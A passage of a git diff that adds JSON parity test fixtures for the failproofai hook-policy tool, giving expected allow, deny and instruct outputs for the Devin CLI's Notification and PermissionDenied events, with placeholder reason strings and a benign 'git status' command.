&a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..506222f0 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..09c1f94d --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..2f091289 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..54a64110 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c7a09086 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a0ef3950 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b0980219 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e0673b3a --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0dc3e8e6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2a2868bd --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b9260bf8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a3204b66 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d1f700da --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9746ba1e --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7ff0152a --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..63540abf --- /dev/null +++ b/__tests__/parity/fixtures/devin/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f238e0ca --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1835f737 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..648f1ac9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5fff80ea --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 